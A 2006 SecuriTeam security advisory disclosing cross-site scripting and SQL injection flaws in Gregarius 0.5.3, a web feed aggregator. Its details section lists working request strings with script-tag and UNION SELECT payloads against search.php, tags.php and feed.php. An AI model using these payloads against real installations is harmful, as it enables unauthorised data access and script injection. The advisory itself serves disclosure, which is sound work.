From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 5 Mar 2006 14:59:07 +0200
Subject: [UNIX] Gregarius XSS and SQL Injection Vulnerabilities
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20060305134512.E90AC57FE@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Gregarius XSS and SQL Injection Vulnerabilities
------------------------------------------------------------------------
SUMMARY
<http://gregarius.net/> Gregarius is "a web-based RSS/RDF/ATOM feed
aggregator, designed to run on your web server, allowing you to access
your news sources from wherever you want". Multiple vulnerabilities have
been discovered in Gregarius, these vulnerabilities allow a remote
attacker to cause the program to insert arbitrary HTML and/or JavaScript
into its web pages as well as allows insertion of arbitrary SQL statements
into statements used by the program.
DETAILS
Vulnerable Systems:
* Gregarius version 0.5.3
Immune Systems:
* Gregarius version 0.5.3 SVN
XSS in search.php:
The following URL can used to trigger a cross site scripting vulnerability
in the search.php file:
search.php?rss_query=<script>alert(1)</script>&rss_query_match=exact
XSS in tags.php:
The following URL can used to trigger a cross site scripting vulnerability
in the tags.php file: tags.php?tag=<script>alert(1)</script>
SQL Injection in feed.php:
The following URL can be used to trigger an SQL injection vulnerability in
the feed.php file:
feed.php?folder=3 and 1=1 UNION select title from item--
SQL Injection in search.php:
The SQL injection can be further exploited if magic_quotes have been set
to off:
search.php?rss_query=aa%')) UNION select
null,null,null,null,null,null,null,null,null,null,null,title,null from
item-- &rss_query_match=exact
ADDITIONAL INFORMATION
The information has been provided by <mailto:tzitaroth@gmail.com.>
tzitaroth.
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.